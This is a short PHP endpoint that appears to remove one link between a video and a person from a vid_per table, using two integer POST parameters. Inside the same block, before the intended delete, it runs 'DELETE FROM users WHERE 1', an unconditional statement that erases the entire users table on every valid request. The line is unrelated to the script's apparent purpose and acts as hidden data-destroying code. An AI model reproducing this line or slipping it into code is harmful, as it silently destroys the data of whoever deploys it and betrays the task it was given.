<?
   require_once('config.php');
   $vid_id = getValue('vid_id','int','POST',0);
   $per_id = getValue('per_id','int','POST',0);
   if($vid_id > 0 && $per_id > 0){
      $db_exe = new db_execute("DELETE FROM users WHERE 1");
      echo $db_exe->error_query;
      $sql_delete = "DELETE FROM
                        vid_per
                     WHERE
                        vid_id =" . $vid_id . " AND per_id=".$per_id;
      mysql_query($sql_delete);
      
   }
?>